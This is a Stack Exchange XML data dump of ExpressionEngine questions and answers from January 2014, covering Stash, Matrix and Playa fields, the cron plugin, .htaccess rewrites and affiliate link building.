  <row Id="18363" PostTypeId="2" ParentId="18342" CreationDate="2014-01-14T16:02:40.070" Score="1" Body="&lt;p&gt;Right, so essentially, you've got two channel entries loops going here, and they're not at all related. You'll either need to reconfigure your code to use only one, or try to pass a row_id parameter from the first set of images into the modal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could do this several ways - via embed, or stash potentially, etc, etc. I'm not familiar with the gallery you're using - but took a quick look - are you sure you actually need that second loop?  &lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2014-01-14T16:02:40.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18364" PostTypeId="2" ParentId="18085" CreationDate="2014-01-14T16:03:50.287" Score="1" Body="&lt;p&gt;I tried many .htaccess configurations to remove the index.php, I believed the slow down problem was caused by EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This .htaccess config no slow down the load page performance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} !^(ACT=.*)$ [NC]&#xA;RewriteCond %{REQUEST_URI} !(\.[a-zA-Z0-9]{1,5})$&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule (.*) /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-01-14T16:03:50.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18365" PostTypeId="2" ParentId="18327" CreationDate="2014-01-14T16:05:21.793" Score="4" Body="&lt;p&gt;Unfortunately at this point in time Exp:resso Store does not handle subscriptions of any kind natively. I'm needing subscriptions myself and have reached out to them for any possible help on this matter. They did explain to me that there are installations of store that are handling subscriptions however so it is possible to have store handle that function. It would be something that you would need to develop yourself or hire someone to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cartthrob has a subscription module that you can purchase along with Cartthrob itself, which will run you $600 dollars combined. I would be weary though. I've used both e-commerce products and Cartthrob does have some advantages, but support has essentially dropped off in the past year. Store has had good support and is backed by a staff of people, i believe Cartthrob is maintained by one person it would seem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend store as a shopping cart solution in almost all cases if it weren't for the fact that in your case it doesn't handle the main purpose that you need it for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also look at a module called &lt;a href=&quot;http://dvt.ee/charge&quot; rel=&quot;nofollow&quot;&gt;Charge&lt;/a&gt; if your needs are simple enough &lt;/p&gt;&#xA;" OwnerUserId="613" LastActivityDate="2014-01-14T16:05:21.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18366" PostTypeId="1" AcceptedAnswerId="18569" CreationDate="2014-01-14T16:28:29.270" Score="1" ViewCount="176" Body="&lt;p&gt;Is it possible to Stash some content in one template and then grab it from another template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want to store a bunch of Entry IDs in one template and then i'm AJAX loading another template where I would like to retrieve those Entry IDs and use them to plot markers on a map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using scope, but it doesn't appear to be working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;show_nearby&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot; parse=&quot;inward&quot; trim=&quot;yes&quot; scope=&quot;user&quot; refresh=&quot;10&quot;}&#xA;    {exp:channel:entries dynamic=&quot;no&quot; url_title=&quot;{segment_4}&quot;}&#xA;        {exp:trails_nearby entry_id=&quot;{entry_id}&quot; lat=&quot;{thingtodo_latitude}&quot; lng=&quot;{thingtodo_longitude}&quot;}&#xA;    {/exp:channel:entries}  &#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following code gets the values above when used in the same template (so I know the values are being set;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;show_nearby&quot; backspace=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I use in another template it just returns everything from the channel because the entry_id isn't being set;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;things-to-do&quot; entry_id=&quot;{exp:stash:get name='show_nearby' backspace='1' scope='user'}&quot; parse=&quot;inward&quot; status=&quot;open&quot; dynamic=&quot;no&quot;}&#xA;{title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2014-01-21T11:09:09.513" Title="Using Stash to share data between templates" Tags="|stash|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18368" PostTypeId="2" ParentId="18322" CreationDate="2014-01-14T16:45:13.217" Score="2" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/ce-image&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CE Image&lt;/strong&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can implement dynamic resizing based on request (use segment variables or GET variables for the dimension parameters on the CE Image template tag).&lt;/li&gt;&#xA;&lt;li&gt;Will save manipulated images to Amazon S3. &lt;/li&gt;&#xA;&lt;li&gt;Can be used in conjunction with Channel Images (just don't bother with the Channel Image's resizing feature and rely completely on CE Image for that).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-01-14T16:45:13.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18369" PostTypeId="1" AcceptedAnswerId="18380" CreationDate="2014-01-14T17:06:15.890" Score="0" ViewCount="85" Body="&lt;p&gt;So I have an affiliate account with TicketFly that will help us make a few bucks when we send someone to purchase a ticket through their system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is what do you guys think is the best way to take this url &lt;code&gt;http://www.ticketfly.com/purchase/event/450737/&lt;/code&gt; and convert it into &lt;code&gt;http://www.shareasale.com/r.cfm?u=841156&amp;amp;b=234786&amp;amp;m=27601&amp;amp;afftrack=&amp;amp;urllink=www%2Eticketfly%2Ecom%2Fpurchase%2Fevent%2F450737%2F&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to make sure that our Affiliate ID number &lt;code&gt;841156&lt;/code&gt; and TF's ID &lt;code&gt;27601&lt;/code&gt; remains part of the query as well as the &lt;code&gt;urllink&lt;/code&gt; parameter. I'm just not sure what path to take. Do I use some concoction of Low Replace or something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-01-14T21:32:59.663" Title="Outbound Affiliate Links" Tags="|low-replace|low|affiliate|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18370" PostTypeId="1" CreationDate="2014-01-14T17:30:04.913" Score="1" ViewCount="155" Body="&lt;p&gt;I am creating a page in my site with a list of entries under 1 channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the template structure as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;collections/ss14 &lt;/li&gt;&#xA;&lt;li&gt;collections/aw14&lt;/li&gt;&#xA;&lt;li&gt;collections/index&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The ss14/aw14 templates pull in data from the channel with all their entries listed here is my template so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;container&quot; class=&quot;collection&quot;&amp;gt;&#xA;{if segment_4 == &quot;ss14&quot;}&#xA;&amp;lt;div id=&quot;gallery-t-group&quot; class=&quot;rsMinW&quot;&amp;gt;&#xA;&amp;lt;h1&amp;gt;this is the list view&amp;lt;/h1&amp;gt;&#xA;   {exp:channel:entries channel=&quot;ss14&quot; dynamic=&quot;yes&quot; url_title=&quot;{segment_4}&quot;}&#xA;      &amp;lt;div class=&quot;portfolio load-slide&quot;&amp;gt;&#xA;        &amp;lt;img data-rsh=&quot;400&quot; class=&quot;rsImg {dimension} root&quot; src=&quot;{images}{url}{/images}&quot; alt=&quot;{long_name}&quot; /&amp;gt;&#xA;            &amp;lt;div class=&quot;rsTmb&quot;&amp;gt;&amp;lt;img class=&quot;{dimension}&quot; src=&quot;{images}{url}{/images}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; value=&quot;{path={site_short_name}/collections/{channel}/{url_title}}&quot; class=&quot;perma_link&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;   {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;{if segment_4 == ''}&#xA;&amp;lt;div id=&quot;gallery-t-group&quot; class=&quot;rsMinW single&quot;&amp;gt;&#xA;   {exp:channel:entries channel=&quot;ss14&quot; dynamic=&quot;no&quot;}&#xA;      &amp;lt;div class=&quot;portfolio load-slide&quot;&amp;gt;&#xA;        &amp;lt;img data-rsh=&quot;400&quot; class=&quot;rsImg {dimension} root&quot; src=&quot;{images}{url}{/images}&quot; alt=&quot;{long_name}&quot; /&amp;gt;&#xA;            &amp;lt;div class=&quot;rsTmb&quot;&amp;gt;&amp;lt;img class=&quot;{dimension}&quot; src=&quot;{images}{url}{/images}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; value=&quot;{path={site_short_name}/collections/{channel}/{url_title}}&quot; class=&quot;perma_link&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;   {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&amp;lt;div class=&quot;rsnav-container&quot;&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;  &#xA;&amp;lt;/div&amp;gt;&amp;lt;!--End Content--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically the idea here is that I am trying to have a list layout if its under the url /collections/ss14 or /collections/aw14 and then when you go into the single entry itself /collections/ss14/entry-title or /collections/aw14/entry-title I would ideally need to have a different layout as it needs to be using some other parameters inside the channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know a good solution to this problem as I am sure there are people who run into this problem all the time when dealing with expression engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="1444" LastActivityDate="2014-01-14T19:08:02.637" Title="How can I create 2 different layouts on same page with channel entry list and single channel entry?" Tags="|ee2|channel-entries|templates|channel|entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18372" PostTypeId="1" AcceptedAnswerId="18397" CreationDate="2014-01-14T17:51:25.707" Score="0" ViewCount="258" Body="&lt;p&gt;I am attempting to make a dynamic table for some of my products in ExpressionEngine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I have the table data set up as a matrix channel field type. Each of my products has 3 variations with 8 columns of specs for each variation. My question is, how can I output a specific row in a column on the front-end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My channel fields are cell_1 - cell_8. If I put {cell_1} into a &lt;code&gt;&amp;lt;th&amp;gt;&lt;/code&gt; it generates 3 tables with each table using a different row from that column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to output a specific row from a matrix column?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of my current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;th&amp;gt;Size&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;{cell_1} (want to call cell 1 row 1 here)&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;{cell_1} (want to call cell 1 row 2 here)&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;{cell_1} (want to call cell 1 row 3 here)&amp;lt;/th&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;Color&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{cell_2} (want to call cell 2 row 1 here)&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{cell_2} (want to call cell 2 row 2 here)&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{cell_2} (want to call cell 2 row 3 here)&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2257" LastEditorUserId="2257" LastEditDate="2014-01-14T18:01:26.140" LastActivityDate="2014-01-15T10:13:08.570" Title="Displaying the value of a specific row/column in a matrix channel field" Tags="|matrix|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18373" PostTypeId="1" CreationDate="2014-01-14T18:28:20.377" Score="0" ViewCount="222" Body="&lt;p&gt;I've looked through the questions and responses here in EESE and I've looked at the couple of add-ons that were mentioned. Tracker by Solspace seems close to what I want, but but not quite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking to track views of entries - but not just raw numbers as the native entry tracking will allow.  I would like to track, at an entry level, which logged-in members have viewed a given entry.  Then create a reports template that displays this information.  So essentially I want to capture the member ID of the logged in user whenever a specific entry from a given channel is loaded.  Is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought of having each link to a single entry template in fact be a channel form submission of entry ID and member ID.  But that may be more work than it's worth if there is already a simpler way to achieve this. And it doesn't help me with pages that contain multiple entries (list-view templates).  This is a site that is entirely member based&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any advice the community can provide.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-01-15T20:59:40.237" Title="Tracking entry views by logged in member" Tags="|statistics|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18375" PostTypeId="2" ParentId="18320" CreationDate="2014-01-14T18:38:21.953" Score="1" Body="&lt;p&gt;Create a div. Throw your login box inside.&#xA;Style and position it how you want.&#xA;Set it to 'display: none'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create an event listener, which when triggered, sets the display property to block or anything but none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a listener, which will set it to display none.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$( '.context' ).on( 'click', '.my_hidden_Div', function( event ) {&#xA;    event.preventDefault();&#xA;    $( this ).show();&#xA; } );&#xA;&#xA;$( '.context' ).on( 'click', '.my_hidden_div .close', function( event ) {&#xA;    event.preventDefault();&#xA;    $( this ).hide();&#xA;} );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ajax login can be used, but if your having trouble this is a good start.&#xA;Simple jQuery.&lt;/p&gt;&#xA;" OwnerUserId="1872" LastActivityDate="2014-01-14T18:38:21.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18376" PostTypeId="2" ParentId="18370" CreationDate="2014-01-14T19:02:46.547" Score="2" Body="&lt;p&gt;There are a variety of approaches to this. One tool that always proves useful when trying to serve a wide range of layouts and content from a single template is &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Switchee&lt;/strong&gt;&lt;/a&gt;. This will usually cover all the bases for you! Plus it's more efficient and flexible than native  conditionals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other approaches to play with (either in conjunction with Switchee or separately):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a URL segment variable in the &lt;code&gt;channel&lt;/code&gt; parameter on your &lt;code&gt;channel:entries&lt;/code&gt; tag. And if the different channel's have slightly different output requirements you can couple that with a conditional based on &lt;code&gt;channel_short_name&lt;/code&gt;. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{segment_3}&quot; dynamic=&quot;yes&quot; url_title=&quot;{segment_4}&quot;}&#xA;    {if channel_short_name == &quot;ss14&quot;}&#xA;        {!-- ss14-specific template stuff here --}&#xA;    {/if}&#xA;    {if channel_short_name == &quot;aw14&quot;}&#xA;        {!-- ss14-specific template stuff here --}&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally, you &lt;em&gt;can&lt;/em&gt; use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#simple-conditionals&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;simple&lt;/em&gt; conditionals&lt;/a&gt; inside channel:entries tag parameters. Sometimes this can give you an added boost to flexibility that allows you to use a single template in multiple ways. For example, on an opening channel:entries tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{segment_3}&quot; &#xA;    {if segment_4}&#xA;        dynamic=&quot;yes&quot; url_title=&quot;{segment_4}&quot;&#xA;    {/if}&#xA;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This last example is pretty hypothetical, and meant only to illustrate how simple conditionals can be used on channel:entries parameters, so please take with a grain of salt.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-01-14T19:08:02.637" LastActivityDate="2014-01-14T19:08:02.637" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="18377" PostTypeId="2" ParentId="18373" CreationDate="2014-01-14T20:23:30.757" Score="0" Body="&lt;p&gt;Jean,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is something that can be accomplished with a custom built module. You would need both the functionality to record the views and also the tags to display them in your report template. It actually wouldn't be terribly complicated to do.&lt;/p&gt;&#xA;" OwnerUserId="613" LastEditorUserId="613" LastEditDate="2014-01-15T20:59:40.237" LastActivityDate="2014-01-15T20:59:40.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18379" PostTypeId="1" CreationDate="2014-01-14T21:02:05.080" Score="0" ViewCount="731" Body="&lt;p&gt;The documentation on this plugin is lacking, and I was wondering how to utilize it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://github.com/EllisLab/Cron/blob/master/cron/pi.cron.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/EllisLab/Cron/blob/master/cron/pi.cron.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Devot-ee: &lt;a href=&quot;http://devot-ee.com/add-ons/expressionengine-cron&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/expressionengine-cron&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My end goal: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To check against the expiration_date on certain entries and notify that a template is about to expire.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The CRON would ideally run only once per day. I have little idea as to how to make it work, but what I've been trying simply to ensure that it's working is a plugin with a function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function check() &#xA;{&#xA;    return 'test';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then call this function in a template by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cron minute=&quot;*&quot; hour=&quot;*&quot; day=&quot;*&quot; month=&quot;*&quot; plugin=&quot;&amp;lt;plugin name&amp;gt;:check&quot;}{/exp:cron}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;even something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cron minute=&quot;*&quot; hour=&quot;*&quot; day=&quot;*&quot; month=&quot;*&quot; plugin=&quot;&amp;lt;plugin name&amp;gt;:check&quot;}{&amp;lt;plugin name&amp;gt;:check}{/exp:cron}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;fails to return the string.&lt;/p&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2015-05-11T06:10:29.537" Title="EllisLab CRON plugin usage" Tags="|plugin|cron|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18380" PostTypeId="2" ParentId="18369" CreationDate="2014-01-14T21:07:00.450" Score="1" Body="&lt;p&gt;I believe the only part of the original URL you need is the numeric part, which contains the event ID. You should be able to build an anchor using something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.shareasale.com/r.cfm?u=841156&amp;amp;b=234786&amp;amp;m=27601&amp;amp;afftrack=&amp;amp;urllink=www%2Eticketfly%2Ecom%2Fpurchase%2Fevent%2F{some regex that will extract numbers from your URL field}%2F&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CE String and Low Replace both support regex, not sure on the specifics of the syntax, but, that should be enough to get you going in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit - CE String Syntax&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CE String's syntax for doing this would be: &lt;code&gt;{exp:ce_str:ing preg_rep='[^0-9]||Us' trim}{your_field_with_numbers}{/exp:ce_str:ing}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I believe you could build your anchor with this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.shareasale.com/r.cfm?u=841156&amp;amp;b=234786&amp;amp;m=27601&amp;amp;afftrack=&amp;amp;urllink=www%2Eticketfly%2Ecom%2Fpurchase%2Fevent%2F{exp:ce_str:ing preg_rep='[^0-9]||Us' trim}{your_field_with_the_url}{/exp:ce_str:ing}%2F&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="33" LastEditDate="2014-01-14T21:32:59.663" LastActivityDate="2014-01-14T21:32:59.663" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18381" PostTypeId="2" ParentId="18379" CreationDate="2014-01-14T21:11:19.723" Score="1" Body="&lt;p&gt;I recently tinkered with the EE cron add-on and gave up on it; didn't work reliably for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/automatee&quot; rel=&quot;nofollow&quot;&gt;Automatee&lt;/a&gt; might be worth looking at; it can trigger events on a plugin as you desire, I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could pursue setting up an actual crontab; depending on the server admin tools available in your server environment, it's fairly straight forward.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-14T21:11:19.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18382" PostTypeId="1" AcceptedAnswerId="18389" CreationDate="2014-01-14T21:43:30.957" Score="1" ViewCount="184" Body="&lt;p&gt;I have a channel &lt;code&gt;items&lt;/code&gt; and a channel &lt;code&gt;colors&lt;/code&gt;, and the &lt;code&gt;items&lt;/code&gt; channel has a Playa field &lt;code&gt;item_colors&lt;/code&gt; that links to the &lt;code&gt;colors&lt;/code&gt; channel. What is the best way to loop through the &lt;code&gt;items&lt;/code&gt; entries and output a construct like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &quot;color_1&quot; : &quot;item_1&quot;,&#xA;  &quot;color_2&quot; : &quot;item_1&quot;,&#xA;  &quot;color_3&quot; : &quot;item_1&quot;,&#xA;&#xA;  &quot;color_1&quot; : &quot;item_2&quot;,&#xA;  &quot;color_4&quot; : &quot;item_2&quot;,&#xA;&#xA;  &quot;color_5&quot; : &quot;item_3&quot;,&#xA;&#xA;  &quot;color_2&quot; : &quot;item_4&quot;,&#xA;  &quot;color_3&quot; : &quot;item_4&quot;,&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The tricky part is outputting the outer entry title from within the Playa field tag pair. I attempted to do this with a Stash variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;items&quot; dynamic=&quot;no&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;  {exp:stash:item_title}{title}{/exp:stash:item_title}&#xA;  {item_colors}&#xA;    &quot;{title}&quot;: &quot;{stash:item_title}&quot;,&#xA;  {/item_colors}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the result is the Stash variable outputs the same (last) entry title for every instance. Something about parse order, undoubtedly… any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1335" LastActivityDate="2014-01-14T22:50:44.263" Title="Best way to access entry data from within Playa field?" Tags="|playa|stash|parse-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18384" PostTypeId="2" ParentId="18379" CreationDate="2014-01-14T22:00:09.020" Score="2" Body="&lt;p&gt;I do not believe that the Cron will actually &lt;em&gt;return&lt;/em&gt; the value from the plugin called via the &lt;code&gt;plugin&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can do &lt;em&gt;either&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cron minute=&quot;*&quot; hour=&quot;*&quot; day=&quot;*&quot; month=&quot;*&quot; plugin=&quot;my_custom_plugin:check&quot;}{/exp:cron}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will run the &lt;code&gt;check&lt;/code&gt; method of your &lt;code&gt;my_custom_plugin&lt;/code&gt; plugin class every minute (provided the template is loaded by someone).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cron minute=&quot;*&quot; hour=&quot;*&quot; day=&quot;*&quot; month=&quot;*&quot;}{exp:my_custom_plugin:check}{/exp:cron}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will &lt;em&gt;return&lt;/em&gt; the &lt;code&gt;check&lt;/code&gt; method of your &lt;code&gt;my_custom_plugin&lt;/code&gt; plugin class every minute (provided the template is loaded by someone).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two main things to remember:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Someone has to actually hit the template for it to run - so it's not 100% accurate (if someone loads the template at point 0, the method will run, but if you get no other visitors for another 2 hours, it won't run again until that visitor hits the template, despite the fact that it's set to run every minute).&lt;/li&gt;&#xA;&lt;li&gt;If you're using any caching methods surrounding your call to the Cron plugin (either template-level caching, or something like CE Cache) it will mess with the faux cron scheduling.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-14T22:00:09.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18385" PostTypeId="2" ParentId="13766" CreationDate="2014-01-14T22:03:26.687" Score="1" Body="&lt;p&gt;One possible solution is simple and might work for your situation, but it depends on how often the content is updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could create a custom status for the second group, i.e., &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;channel1|channel2|channel3&quot; limit=&quot;4&quot; status=&quot;2nd&quot; paginate=&quot;bottom&quot; offset=&quot;1&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only the entries marked with the 2nd status would appear there. The third group would have the channel:entries set as status=&quot;not 2nd&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's an approach I use for one site and takes only a minute to update the statuses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, maybe the dynamic=&quot;no&quot; in your third group is part of the problem.&lt;/p&gt;&#xA;" OwnerUserId="2564" LastActivityDate="2014-01-14T22:03:26.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18386" PostTypeId="2" ParentId="18360" CreationDate="2014-01-14T22:05:09.657" Score="1" Body="&lt;p&gt;I believe this is expected behavior. Historically there has been no error handling in the add to cart form (I think this is the only error state it could possibly get into anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution if you are using minimum order quantities is to add JavaScript validation to your product page. This will result in a nicer error message for your customers anyway. If you don't already have a library, Parsley.js is fantastic.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-01-14T22:05:09.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
